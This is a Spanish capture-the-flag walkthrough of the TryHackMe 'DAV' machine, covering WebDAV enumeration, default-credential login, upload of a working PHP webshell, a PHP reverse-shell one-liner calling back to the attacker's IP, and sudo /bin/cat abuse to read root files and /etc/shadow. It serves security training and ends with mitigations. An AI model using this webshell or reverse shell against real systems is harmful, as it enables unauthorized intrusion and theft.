DAV - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeWebDAVLinux
DAV - TryHackMe

📚 Esta publicación pertenece a la colección:

DAV - TryHackMe Walkthrough

Bienvenido a mi writeup de la máquina DAV de TryHackMe. En esta máquina exploto un servicio WebDAV vulnerable para conseguir acceso inicial y escalo privilegios aprovechando una pequeña desconfiguración de sudo.

Room: DAV
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root

🎯 Información del Objetivo

IP Target: 10.10.47.60

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Empiezo verificando que tengo conectividad con el objetivo:

ping -c4 10.10.47.60
  • -c4 → Envía 4 paquetes ICMP y se detiene

Ping al objetivo

El TTL es 63, lo cual me indica que estoy ante una máquina Linux. El valor original de TTL en Linux es 64, y si lo recibo con 63 simplemente significa que ha pasado por 1 salto de red.

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows
  • TTL ≈ 255 → Cisco/routers

Escaneo de Puertos

Lanzo un escaneo de los puertos más comunes con detección de versiones y scripts:

nmap 10.10.47.60 -sV -Pn -sC --top-ports 100
  • -sV → Detección de versiones de los servicios
  • -Pn → Sin ping previo, asume que el host está activo
  • -sC → Ejecuta los scripts NSE por defecto
  • --top-ports 100 → Escanea solo los 100 puertos más comunes

Escaneo de puertos con nmap

El único puerto abierto es el 80 (HTTP) con Apache httpd 2.4.18. Al acceder a http://10.10.47.60 veo la página por defecto de Apache2, lo que me indica que el servidor está levantado pero sin contenido personalizado visible.

📂 Fase 2: Enumeración Web

Con un servidor web activo, el siguiente paso es enumerar directorios. Uso el script http-enum de nmap:

nmap 10.10.47.60 -Pn -vvv -p80 --script=http-enum
  • -vvv → Nivel de verbosidad máximo, muestra resultados en tiempo real
  • -p80 → Escanea solo el puerto 80
  • --script=http-enum → Ejecuta el script NSE que enumera directorios y archivos comunes en servidores web

Enumeración HTTP con nmap

El script ha encontrado un directorio llamado /webdav/.

WebDAV (Web Distributed Authoring and Versioning) es una extensión del protocolo HTTP que permite a los usuarios gestionar y editar archivos en servidores web remotos. Es como un disco compartido accesible vía web. El problema es que WebDAV mal configurado puede ser una puerta de entrada para atacantes.

🔐 Fase 3: Acceso a WebDAV

Al acceder a http://10.10.47.60/webdav/ me encuentro con una autenticación HTTP Basic. Lo primero que pienso es en un ataque de fuerza bruta, pero antes pruebo algo más sencillo: credenciales por defecto. Muchos administradores instalan servicios y olvidan cambiar las credenciales predeterminadas.

Buscando credenciales típicas de instalaciones WebDAV, aparecen varias opciones comunes: admin:admin, admin:password, root:root... y también wampp:xampp, específica de XAMPP.

Pruebo wampp:xampp y entro sin problema.

Confirmación del Sistema Operativo

Aunque el TTL ya me sugería Linux, lo confirmo con detección de SO:

nmap 10.10.47.60 -Pn -O
  • -O → Intenta detectar el sistema operativo del objetivo analizando las respuestas de red

Detección de SO con nmap

Confirmado: sistema Linux.

Prueba de Capacidades con DAVTest

Antes de subir nada, uso davtest para verificar qué tipos de archivos puedo subir y, más importante, cuáles son ejecutables:

davtest -url http://10.10.47.60/webdav/ -auth wampp:xampp
  • -url → URL del directorio WebDAV a analizar
  • -auth → Credenciales de acceso en formato usuario:contraseña

Resultados de davtest

Puedo subir archivos .php y son ejecutables. Esto significa que puedo subir una webshell PHP y ejecutar comandos directamente en el servidor.

🚀 Fase 4: Explotación — Webshell PHP via WebDAV

Creación de la WebShell

Creo un archivo webshell.php con una webshell simple:

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>

Fuente: Simple PHP WebShell by joswr1ght

Subida con Cadaver

Uso cadaver, un cliente WebDAV por línea de comandos, para subir el archivo:

cadaver http://10.10.47.60/webdav/
put webshell.php
  • cadaver → Cliente WebDAV interactivo por línea de comandos
  • put webshell.php → Sube el archivo local webshell.php al servidor WebDAV

Subida de webshell a WebDAV

Ahora accedo a http://10.10.47.60/webdav/webshell.php y tengo una interfaz donde puedo ejecutar comandos en el servidor:

WebShell funcionando

🖥️ Fase 5: Post-Explotación

Flag de Usuario

Con la webshell activa, exploro el sistema. Ejecuto whoami y veo que soy www-data. Listo el contenido de /home/ y encuentro al usuario merlin. Voy a su directorio:

cat /home/merlin/user.txt

Lee el archivo de la flag de usuario desde el directorio home de merlin

Flag de usuario

cat /home/merlin/user.txt

🚩 Flag de usuario capturada!

Reverse Shell para Mayor Comodidad

Trabajar con una webshell en el navegador es incómodo. Establezco una reverse shell para tener una terminal interactiva. Me pongo en escucha en mi máquina:

nc -nlvp 1234
  • -n → Sin resolución DNS
  • -l → Modo escucha, espera conexiones entrantes
  • -v → Verbose, muestra información de las conexiones
  • -p 1234 → Puerto donde escuchar

Desde la webshell ejecuto la conexión inversa:

php -r '$sock=fsockopen("10.8.63.221",1234);exec("sh <&3 >&3 2>&3");'
  • fsockopen → Abre una conexión TCP hacia mi máquina
  • exec → Redirige stdin, stdout y stderr de una shell al socket abierto

Ahora tengo shell como www-data. Estabilizo la TTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'
  • Genera una pseudo-terminal interactiva desde Python, necesaria para comandos interactivos

⬆️ Fase 6: Escalada de Privilegios (PRIVESC)

Enumeración de Permisos Sudo

Lo primero que siempre compruebo es si el usuario actual tiene permisos sudo:

sudo -l

Lista los comandos que el usuario actual puede ejecutar con sudo

▶ output
User www-data may run the following commands on ubuntu:
  (ALL) NOPASSWD: /bin/cat

www-data puede ejecutar /bin/cat como root sin contraseña. El comando cat lee archivos. Si puedo ejecutarlo como root, puedo leer cualquier archivo del sistema: /etc/shadow, claves SSH privadas, y por supuesto la flag de root.

Captura de la Flag de Root

Permisos sudo de www-data

sudo /bin/cat /root/root.txt
  • sudo → Ejecuta el comando con privilegios de root
  • /bin/cat → El único binario que www-data puede ejecutar como root
  • /root/root.txt → Archivo de la flag de root

🚩 Flag de root capturada!

💡 Con este mismo privilegio podría leer /etc/shadow para obtener los hashes de contraseñas del sistema y crackearlos offline. Pero para esta máquina ya he cumplido el objetivo.

📊 Resumen

Cadena de Ataque

WebDAV con credenciales por defecto → DAVTest → Webshell PHP → Reverse Shell → sudo /bin/cat → Root

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y enumeración HTTP
  • davtest — Prueba de capacidades WebDAV
  • cadaver — Cliente WebDAV para subir la webshell
  • netcat — Listener para la reverse shell

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
Credenciales por defecto en WebDAVCRÍTICACambiar credenciales inmediatamente tras la instalación
WebDAV permite subida y ejecución de PHPCRÍTICADeshabilitar WebDAV si no es necesario; implementar whitelist de tipos
sudo NOPASSWD con /bin/cat para www-dataCRÍTICANunca dar acceso NOPASSWD a comandos que leen archivos; mínimo privilegio

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.